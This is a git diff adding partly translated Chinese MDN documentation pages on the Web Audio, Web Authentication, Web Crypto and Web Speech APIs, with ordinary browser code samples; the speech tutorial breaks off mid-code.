注意:音频空间化在不同浏览器中的听起来略有不同。 panner节点在底层做了一些非常复杂的数学运算;这里有 许多测试,因此你可以跟踪不同平台上此节点的内部工作状态。

+
+ +

再次,您可以在 这里查看最终的演示,同时最终的源代码在这里。还有一个 Codepen 的演示

+ +

如果你正在使用 3D 游戏和/或 WebXR,最好利用 3D 库来创建此类功能,而不是尝试从最初的规则完成所有这些操作。我们在本文中提出了自己的想法,让你了解它是如何工作的,但是通过利用别人在你之前所做的工作,你将节省大量时间。

diff --git "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" "b/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" new file mode 100644 index 0000000000..f0a241a557 --- /dev/null +++ "b/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" @@ -0,0 +1,100 @@ +--- +title: Web Audio API 最佳实践 +slug: Web/API/Web_Audio_API/最佳实践 +tags: + - Web Audio API + - 指导 + - 最佳实践 + - 音频 +translation_of: Web/API/Web_Audio_API/Best_practices +--- +
{{apiref("Web Audio API")}}
+ +

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

+ +

加载声音/声音文件

+ +

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

+ +

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

+ +

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

+ +

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

+ +

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

+ +

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

+ +

Cross browser & legacy support

+ +

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

+ +

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

+ +

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

+ +

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

+ +

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

+ +

自动播放策略

+ +

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

+ +
+

"Create or resume context from inside a user gesture".

+
+ +

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

+ +

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

+ +

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

+ +

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

+ +
const button = document.querySelector('button');
+button.addEventListener('click', function() {
+    const audioCtx = new AudioContext();
+}, false);
+
+ +

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

+ +
const audioCtx = new AudioContext();
+const button = document.querySelector('button');
+
+button.addEventListener('click', function() {
+      // check if context is in suspended state (autoplay policy)
+    if (audioCtx.state === 'suspended') {
+        audioCtx.resume();
+    }
+}, false);
+
+ +

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

+ +

User control

+ +

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

+ +

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

+ +

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

+ +

Setting AudioParam values

+ +

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

+ +
gainNode.gain.value = 0.5;
+
+ +

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

+ +
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
+
+ +

It will override the previous example (as it should), even if it were to come later in your code.

+ +

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git a/files/zh-cn/web/api/web_authentication_api/index.html b/files/zh-cn/web/api/web_authentication_api/index.html new file mode 100644 index 0000000000..24193e8f1d --- /dev/null +++ b/files/zh-cn/web/api/web_authentication_api/index.html @@ -0,0 +1,257 @@ +--- +title: Web Authentication API +slug: Web/API/Web_Authentication_API +translation_of: Web/API/Web_Authentication_API +--- +
{{SeeCompatTable}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}
+ +

Web Authentication API 继承自 Credential Management API ,使用公钥密码学使得验证更强壮,不需要SMS文本就能实现无密码验证和安全的双因素验证。

+ +

Web authentication 概念和用例

+ +

Web Authentication API(也称作WebAuthn)使用asymmetric (public-key) cryptography (非对称加密)替代密码或 SMS 短信在网站上注册、登录、second-factor authentication(双因素验证)。 解决了 phishing(钓鱼)、data breaches(数据破坏)、SMS 文本攻击、其它双因素验证等重大安全问题,同时显著提高了易用性(因为用户不必管理许多越来越复杂的密码)。

+ +

许多网站已实现用户注册账号,登录已有账号的页面, WebAuthn 作为这些页面的替代和补充。类似其他形式的 Credential Management API(凭据管理API)。Web Authentication API 有两个对应于注册和登录的基本方法:

+ + + +

请注意: create() 和 get() 都需要在 Secure Context(安全上下文)中执行(例如 - 使用 https 连接,或是使用 localhost),当浏览器不是在安全环境下时它们将不可用。

+ +

在基础实现中,create() 和 get() 会从服务器接收一个大随机数,称为挑战。挑战将由私钥签名并返回给服务器。这可以服务器证明用户拥有身份验证所需要的私钥,与此同时没有任何密码在网络上被传输。

+ +

为了了解 create() 和 get() 方法在实际中的使用,我们需要理解它们位于浏览器之外的两个部分之间:

+ +
    +
  1. 服务器 - WebAuthn API 旨在在服务器(也称为服务或依赖方上注册新的凭据,以供稍后在同一服务器上使用相同的凭据对用户进行身份验证。
  2. +
  3. 认证器 - 凭据将被创建并存储于被称为认证器的设备中。这是认证过程中的一个新概念:使用密码进行身份验证时,密码存储在用户的大脑中而不需要其他设备;使用 WebAuthn 进行身份验证时,密码则被存储在认证器中的密钥对替代。认证器可以被嵌入到操作系统中(例如 Windows Hello),也可以是 USB 或蓝牙安全密钥等物理令牌。
  4. +
+ +

注册

+ +

一个典型的注册过程包括如图 1 所示的六个步骤,这些在稍后会进一步描述。这是一个注册过程的概览,所需数据已经被简化。所有的必填字段、可选字段及它们在创建注册请求中的含义可以在 {{domxref("PublicKeyCredentialCreationOptions")}} 字典找到类似地,完整的响应字段可以在 {{domxref("PublicKeyCredential")}} 接口(其中 {{domxref("PublicKeyCredential.response")}} 是 {{domxref("AuthenticatorAttestationResponse")}} 的接口)中找到。请注意大多数编写程序的 JavaScript 程序员只会关心第 1 步和第 5 步,分别对应 create() 函数的调用和返回。但是,了解步骤 2 到 4 对于理解在浏览器和认证器中发生了什么以及返回数据的含义至关重要。

+ +

WebAuthn registration component and dataflow diagram

+ +

图 1 - WebAuthn注册流程及与各个步骤相关的重要数据。

+ +

注册步骤如下:

+ +
    +
  1. 应用程序请求注册 - 应用程序发出注册请求。这个请求的协议和格式不在 WebAuthn 标准的范围内。
  2. +
  3. 服务器发送挑战、用户信息和依赖方信息 - 服务器将挑战、用户信息和依赖方信息发送回应用程序。在这里,协议和格式不在 WebAuthn 标准的范围内。通常,这可以是基于 HTTPS 连接的 REST(可能会使用 XMLHttpRequest 或 Fetch)API。不过只要在安全连接中,也可以使用 SOAPRFC 2549 或几乎任何其他协议。从服务器接收到的参数将传递给 create() ,大部分情况下只需很少修改甚至不需要做任何修改。create() 会返回一个Promise,并返回包含 {{domxref("AuthenticatorAttestationResponse")}} 的 {{domxref("PublicKeyCredential")}}。需要注意的是挑战必须是随机的 buffer(至少 16 字节),并且必须在服务器上生成以确保安全。
  4. +
  5. 浏览器向认证器调用 authenticatorMakeCredential() - 在浏览器内部,浏览器将验证参数并用默认值补全缺少的参数,然后这些参数会变为 {{domxref("AuthenticatorResponse.clientDataJSON")}}。其中最重要的参数之一是 origin,它是 clientData 的一部分,同时服务器将能在稍后验证它。调用 create() 的参数与clientDataJSON 的 SHA-256 哈希一起传递到身份验证器(只有哈希被发送是因为与认证器的连接可能是低带宽的 NFC 或蓝牙连接,之后认证器只需对哈希签名以确保它不会被篡改)。
  6. +
  7. 认证器创建新的密钥对和证明 - 在进行下一步之前,认证器通常会以某种形式要求用户确认,如输入 PIN,使用指纹,进行虹膜扫描等,以证明用户在场并同意注册。之后,认证器将创建一个新的非对称密钥对,并安全地存储私钥以供将来验证使用。公钥则将成为证明的一部分,被在制作过程中烧录于认证器内的私钥进行签名。这个私钥会具有可以被验证的证书链。
  8. +
  9. 认证器将数据返回浏览器 - 新的公钥、全局唯一的凭证 ID 和其他的证明数据会被返回到浏览器,成为 attestationObject
  10. +
  11. 浏览器生成最终的数据,应用程序将响应发送到服务器 - create() 的 Promise 会返回一个 {{domxref("PublicKeyCredential")}},其中包含全局唯一的证书 ID {{domxref("PublicKeyCredential.rawId")}}  和包含 {{domxref("AuthenticatorResponse.clientDataJSON")}} 的响应 {{domxref("AuthenticatorAttestationResponse")}}。你可以使用任何你喜欢的格式和协议将 {{domxref("PublicKeyCredential")}} 发送回服务器(注意 ArrayBuffer 类型的属性需要使用 base64 或类似编码方式进行编码)
  12. +
  13. 服务器验证数据并完成注册 - 最后,服务器需要执行一系列检查以确保注册完成且数据未被篡改。步骤包括: +
      +
    1. 验证接收到的挑战与发送的挑战相同
    2. +
    3. 确保 origin 与预期的一致
    4. +
    5. 使用对应认证器型号的证书链验证 clientDataHash 的签名和证明
    6. +
    + 验证步骤的完整列表可以在 WebAuthn 规范中找到。一旦验证成功,服务器将会把新的公钥与用户帐户相关联以供将来用户希望使用公钥进行身份验证时使用。
  14. +
+ +

验证

+ +

用户在 WebAuthn 中注册完成之后就可以使用 WebAuthn 进行身份验证(或者说登录)。验证流程与注册相似,图 2 所示的验证流程也与图 1 相似。不过,注册和验证之间的主要区别在于:1) 验证不需要用户或信赖方信息;2) 验证使用之前生成的密钥对创建一个断言,而不是使用在认证器在制造过程中烧录的密钥对创建证明。和上文一样,下面的验证流程图只是一个概况,并非详细描述。验证所需的数据可以在 {{domxref("PublicKeyCredentialRequestOptions")}} 字典找到;返回的数据可以在 {{domxref("PublicKeyCredential")}} 接口(其中 {{domxref("PublicKeyCredential.response")}} 是 {{domxref("AuthenticatorAssertionResponse")}} 的接口)中找到。

+ +

WebAuthn authentication component and dataflow diagram

+ +

图 2 - WebAuthn验证流程及与各个步骤相关的重要数据。

+ +
    +
  1. Application Requests Authentication - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. +
  3. Server Sends Challenge - The server sends a challenge JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
  4. +
  5. Browser Call authenticatorGetCredential()  on Authenticator - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. +
  7. Authenticator Creates an Assertion - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
  8. +
  9. Authenticator Returns Data to Browser -  The authenticator returns the authenticatorData and assertion signature back to the browser.
  10. +
  11. Browser Creates Final Data, Application sends response to Server - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
  12. +
  13. Server Validates and Finalizes Authentication - Upon receiving the result of the authentication request, the server performs validation of the response such as: +
      +
    1. Using the public key that was stored during the registration request to validate the signature by the authenticator.
    2. +
    3. Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.
    4. +
    5. Checking that the Relying Party ID is the one expected for this service.
    6. +
    + A full list of the steps for validating an assertion can be found in the WebAuthn specification. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the WebAuthn specification, but one option would be to drop a new cookie for the user session.
  14. +
+ +

Interfaces

+ +
+
{{domxref("CredentialsContainer")}}
+
WebAuthn extends the Credential Management API's create() and get() methods to take a new option: publicKey. When the publicKey option is passed to create() and / or get(), the Credential Management API will create a new public key pair or get an authentication for a key pair, respectively.
+
{{domxref("PublicKeyCredential")}}
+
A credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
+
{{domxref("AuthenticatorResponse")}}
+
Part of the PublicKeyCredential, the AuthenticatorResponse includes information from the browser (such as the challenge and origin); as well as information from the authenticator such as an AuthenticatorAttestationResponse (for new credentials) or an AuthenticatorAssertionResponse (when authenticating with existing credentials).
+
{{domxref("AuthenticatorAttestationResponse")}}
+
When a PublicKeyCredential has been created with the create() call, it will include an AuthenticatorAttestationResponse. This is the authenticator's way of providing a cryptographic root of trust for the new key pair that has been generated.
+
{{domxref("AuthenticatorAssertionResponse")}}
+
When a PublicKeyCredential is the result of a get() call, it will include an AuthenticatorAssertionResponse. This is the authenticator's way of proving to a service that it has the key pair and that the authentication request is valid and approved.
+
+ +

Options

+ +
+
{{domxref("PublicKeyCredentialCreationOptions")}}
+
The options for creating a credential via navigator.credentials.create()
+
{{domxref("PublicKeyCredentialRequestOptions")}}
+
The options for using a credential via navigator.credentials.get()
+
+ +

Examples

+ +

Note: as a security feature, any WebAuthn calls (i.e. - create() or get() ) will be cancelled if the browser window loses focus while the call is pending.

+ +
// sample arguments for registration
+var createCredentialDefaultArgs = {
+    publicKey: {
+        // Relying Party (a.k.a. - Service):
+        rp: {
+            name: "Acme"
+        },
+
+        // User:
+        user: {
+            id: new Uint8Array(16),
+            name: "john.p.smith@example.com",
+            displayName: "John P. Smith"
+        },
+
+        pubKeyCredParams: [{
+            type: "public-key",
+            alg: -7
+        }],
+
+        attestation: "direct",
+
+        timeout: 60000,
+
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
+            0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
+        ]).buffer
+    }
+};
+
+// sample arguments for login
+var getCredentialDefaultArgs = {
+    publicKey: {
+        timeout: 60000,
+        // allowCredentials: [newCredential] // see below
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
+            0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
+        ]).buffer
+    },
+};
+
+// register / create a new credential
+navigator.credentials.create(createCredentialDefaultArgs)
+    .then((cred) => {
+        console.log("NEW CREDENTIAL", cred);
+
+        // normally the credential IDs available for an account would come from a server
+        // but we can just copy them from above...
+        var idList = [{
+            id: cred.rawId,
+            transports: ["usb", "nfc", "ble"],
+            type: "public-key"
+        }];
+        getCredentialDefaultArgs.publicKey.allowCredentials = idList;
+        return navigator.credentials.get(getCredentialDefaultArgs);
+    })
+    .then((assertion) => {
+        console.log("ASSERTION", assertion);
+    })
+    .catch((err) => {
+        console.log("ERROR", err);
+    });
+
+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Initial definition.
+ +

Browser compatibility

+ +
{{ CompatibilityTable() }}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(65)}}{{CompatGeckoDesktop(60)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Web authentication has been restricted to active documents ({{bug(1409202)}}).

+ +

See also

+ + diff --git a/files/zh-cn/web/api/web_crypto_api/index.html b/files/zh-cn/web/api/web_crypto_api/index.html new file mode 100644 index 0000000000..9242c9a247 --- /dev/null +++ b/files/zh-cn/web/api/web_crypto_api/index.html @@ -0,0 +1,47 @@ +--- +title: Web Crypto API +slug: Web/API/Web_Crypto_API +translation_of: Web/API/Web_Crypto_API +--- +

{{DefaultAPISidebar("Web Crypto API")}}

+ +

Web Crypto API 为脚本提供加密了一套关于密码(学)的接口,以便用于构建需要使用密码的系统。

+ +
+

警告: Web Crypto API 提供了许多底层的密码学原语。它们很容易被误用,并且踩到一些微妙的陷阱。

+ +

即使正确地使用了这些基础的密码学函数,密钥管理和整体的安全系统设计也是非常困难的,这些通常都是属于安全专家的领域。

+ +

安全系统设计和实现过程中出现的错误可以使得整个系统的安全性不复存在。

+ +

如果你不确定你知道自己在做什么,那么你可能不应该使用这些 API。

+
+ +

接口

+ +

有些浏览器实现了叫做 {{domxref("Crypto")}} 的接口,但是缺乏良好的定义,或在密码学上是不健全的。为了避免混乱,这个接口的方法和属性已经被实现 Web Crypto API 的浏览器所移除,并且所有的 Web Crypto API 方法都可以在新的接口中使用: {{domxref("SubtleCrypto")}}。{{domxref("Crypto.subtle")}} 属性可以获取到一个实现了新接口的对象。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Crypto API")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Crypto")}}

+ +
 
diff --git a/files/zh-cn/web/api/web_speech_api/index.html b/files/zh-cn/web/api/web_speech_api/index.html new file mode 100644 index 0000000000..82ffea08fa --- /dev/null +++ b/files/zh-cn/web/api/web_speech_api/index.html @@ -0,0 +1,116 @@ +--- +title: Web Speech API +slug: Web/API/Web_Speech_API +tags: + - API + - 参考 + - 合成 + - 实验性的 + - 网页语音API + - 识别 + - 语音 +translation_of: Web/API/Web_Speech_API +--- +
{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}
+ +
+

Web Speech API 使您能够将语音数据合并到 Web 应用程序中。 Web Speech API 有两个部分:SpeechSynthesis 语音合成 (文本到语音 TTS)和 SpeechRecognition  语音识别(异步语音识别)。

+
+ +

Web Speech 的概念及用法

+ +

Web Speech API 使 Web 应用能够处理语音数据,该项 API 包含以下两个部分:

+ + + +

更多关于这些特性的细节请参考 Using the Web Speech API

+ +

Web Speech 的 API 接口

+ +

 语音识别

+ +
+
{{domxref("SpeechRecognition")}}
+
语音识别服务的控制器接口;它也处理由语音识别服务发来的 {{domxref("SpeechRecognitionEvent")}} 事件。
+
{{domxref("SpeechRecognitionAlternative")}}
+
表示由语音识别服务识别出的一个词汇。
+
{{domxref("SpeechRecognitionError")}}
+
表示语音识别服务发出的报错信息。
+
{{domxref("SpeechRecognitionEvent")}}
+
{{event("result")}} 和 {{event("nomatch")}} 的事件对象,包含了与语音识别过程中间或最终结果相关的全部数据。
+
{{domxref("SpeechGrammar")}}
+
我们将要交由语音识别服务进行识别的词汇或者词汇的模式。
+
{{domxref("SpeechGrammarList")}}
+
表示一个由 {{domxref("SpeechGrammar")}} 对象构成的列表。
+
{{domxref("SpeechRecognitionResult")}}
+
表示一次识别中的匹配项,其中可能包含多个 {{domxref("SpeechRecognitionAlternative")}} 对象。
+
{{domxref("SpeechRecognitionResultList")}}
+
表示包含 {{domxref("SpeechRecognitionResult")}} 对象的一个列表,如果是以 {{domxref("SpeechRecognition.continuous","continuous")}} 模式捕获的结果,则是单个对象。
+
+ +

语音合成

+ +
+
{{domxref("SpeechSynthesis")}}
+
语音合成服务的控制器接口,可用于获取设备上可用的合成语音,开始、暂停以及其它相关命令的信息。
+
{{domxref("SpeechSynthesisErrorEvent")}}
+
包含了在发音服务处理 {{domxref("SpeechSynthesisUtterance")}} 对象过程中的信息及报错信息。
+
{{domxref("SpeechSynthesisEvent")}}
+
包含了经由发音服务处理过的 {{domxref("SpeechSynthesisUtterance")}} 对象当前状态的信息。
+
{{domxref("SpeechSynthesisUtterance")}}
+
表示一次发音请求。其中包含了将由语音服务朗读的内容,以及如何朗读它(例如:语种、音高、音量)。
+
+ +
+
{{domxref("SpeechSynthesisVoice")}}
+
表示系统提供的一个声音。每个 SpeechSynthesisVoice 都有与之相关的发音服务,包括了语种、名称 和 URI 等信息。
+
{{domxref("Window.speechSynthesis")}}
+
由规格文档指定的,被称为 SpeechSynthesisGetter 的 [NoInterfaceObject] 接口的一部分,在 Window 对象中实现,speechSynthesis 属性可用于访问 {{domxref("SpeechSynthesis")}} 控制器,从而获取语音合成功能的入口。
+
+ +

示例

+ +

GitHub 上的 Web Speech API repo 的示例程序展示了语音识别及合成。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态描述
{{SpecName('Web Speech API')}}{{Spec2('Web Speech API')}}原始定义
+ +

浏览器兼容性

+ +

语音识别

+ + + +
{{Compat("api.SpeechRecognition", 0)}}
+ +

语音合成

+ +
{{Compat("api.SpeechSynthesis", 0)}}
+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/zh-cn/web/api/web_speech_api/using_the_web_speech_api/index.html new file mode 100644 index 0000000000..614247b6c4 --- /dev/null +++ b/files/zh-cn/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -0,0 +1,351 @@ +--- +title: 使用 Web Speech API +slug: Web/API/Web_Speech_API/Using_the_Web_Speech_API +tags: + - 语音合成 + - 语音识别 +translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API +--- +

Web Speech API 提供了两类不同方向的函数——语音识别和语音合成(也被称为文本转为语音,英语简写是tts)——开启了有趣的新可用性和控制机制。这篇文章提供了这两个方向的简单介绍,并且都带有例子。

+ +

Speech recognition

+ +

Speech recognition(语音识别) 涉及三个过程:首先,需要设备的麦克风接收这段语音;其次,speech recognition service(语音识别服务器) 会根据一系列语法(基本上,语法是你希望在具体的应用中能够识别出来的词汇) 来检查这段语音;最后,当一个单词或者短语被成功识别后,结果会以文本字符串的形式返回(结果可以有多个),以及更多的行为可以设置被触发。

+ +

Web Speech API 有一个主要的控制接口——SpeechRecognition, 外加一些如表示语法、表示结果等等亲密相关的接口。通常,设备都有可使用的默认语音识别系统,大部分现代操作系统使用这个语音识别系统来处理语音命令,比如 Mac OS X 上的 Dictation,iOS上的 Siri,Win10上的 Cortana,Android Speech 等等。

+ +

Demo

+ +

为了简单展示 Web speech recognition 的作用,我们写了一个demo——Speech color changer。点击屏幕之后,说出 HTML 颜色关键字(网页里罗列的单词就是),接下来应用的背景颜色就会变成你说的颜色。

+ +

The UI of an app titled Speech Color changer. It invites the user to tap the screen and say a color, and then it turns the background of the app that colour. In this case it has turned the background red.

+ +

为了跑这个 demo,可以 clone Github仓库(上面甩出的就是,或者directly download),可以在支持的移动端浏览器(比如Chrome) 导航到 live demo URL 直接观看(亲测desktop browser也是可以的,不过只能是Chrome),也可以通过 WebIDE 作为一个app加载到Firefox OS(Firefox OS使用API的权限问题见下文)。

+ +

Browser support

+ +

对于 Web Speech API speech recognition(语音识别)的支持,在各浏览器中还不成熟,还在发展,现在主要的限制如下:

+ + + +

HTML 和 CSS

+ +

对于这个应用来说,HTML和CSS部分是无足轻重的。仅仅只有一个标题,一个介绍段落和一个div用来输出check的结果。

+ +
<h1>Speech color changer</h1>
+<p>Tap/click then say a color to change the background color of the app.</p>
+<div>
+  <p class="output"><em>...diagnostic messages</em></p>
+</div>
+ +

CSS也只是提供了简单的响应式样式,跨设备看上去也是ok的。

+ +

JavaScript

+ +

JavaScript部分会介绍更多细节。

+ +

浏览器支持

+ +

之前有说到过,Chrome现在支持的是带有前缀的 speech recognition,因此在code开始部分得加些内容保证在需要前缀的Chrome和不需要前缀的像Firefox中,使用的object都是正确的。

+ +
var SpeechRecognition = SpeechRecognition || webkitSpeechRecognition
+var SpeechGrammarList = SpeechGrammarList || webkitSpeechGrammarList
+var SpeechRecognitionEvent = SpeechRecognitionEvent || webkitSpeechRecognitionEvent
+ +

The grammar

+ +

这部分是我们的代码定义希望应用能够识别的语法。语法放在下面定义的变量grammar中:

+ +
var colors = [ 'aqua' , 'azure' , 'beige', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ];
+var grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colors.join(' | ') + ' ;'
+ +

语法格式使用的是 JSpeech Grammar Format (JSGF) ——你可以在前面的链接中了解更多关于语法格式的规范。不过现在,让我们快速地浏览它:

+ + + +

将grammer插入speech recognition

+ +

接下来是使用 SpeechRecognition() 构造函数,定义一个speech recognition实例,控制对于这个应用的识别。还需要使用 SpeechGrammarList() 构造函数,创立一个speech grammer list对象,包含我们的语法。

+ +
var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+ +

使用 SpeechGrammarList.addFromString() 把语法添加到列表(list),这个方法接收两个参数,第一个是我们想要添加的包含语法内容的字符串,第二个是对添加的这条语法的权重(权重值范围是0~1),权重其实是相对于其他语法,这一条语法的重要程度。添加到列表的语法就是可用的,并且是一个SpeechGrammar 实例。

+ +
speechRecognitionList.addFromString(grammar, 1);
+ +

我们然后通过设置 SpeechRecognition.grammars 属性值,把我们的SpeechGrammarList 添加到speech recognition实例。在继续往前走之前,我们还需要设置recognition实例其他的一些属性:

+ + + +
recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+ +
+

Note: SpeechRecognition.continuous 控制的是每一次允许多个结果被捕捉(比如在这个demo中连着说两个颜色关键字,都可以被捕捉),或者一次只能识别一个结果。代码中它被注释掉的原因是,在Gecko中它还不被支持,所以如果把它加进去会破坏这个应用。你可以在收到第一个结果后简单地停止识别,从而得到类似的结果,稍后将会看到。

+
+ +

开始语音识别

+ +

在获取输出的<div> 和 html元素引用之后(这些我们可以用来待会输出语音识别诊断的结果,更新应用的背景颜色),我们添加了一个onclick 事件处理,作用是当屏幕被点击后,语音识别服务将开启——这通过调用 SpeechRecognition.start() 实现。forEach() 方法内部的工作是,为每个颜色关键字添加一个这个颜色的背景色,这样就直观知道了这个颜色关键字指向什么颜色。

+ +
var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+var hints = document.querySelector('.hints');
+
+var colorHTML= '';
+colors.forEach(function(v, i, a){
+  console.log(v, i);
+  colorHTML += '<span style="background-color:' + v + ';"> ' + v + ' </span>';
+});
+hints.innerHTML = 'Tap/click then say a color to change the background color of the app. Try '+ colorHTML + '.';
+
+document.body.onclick = function() {
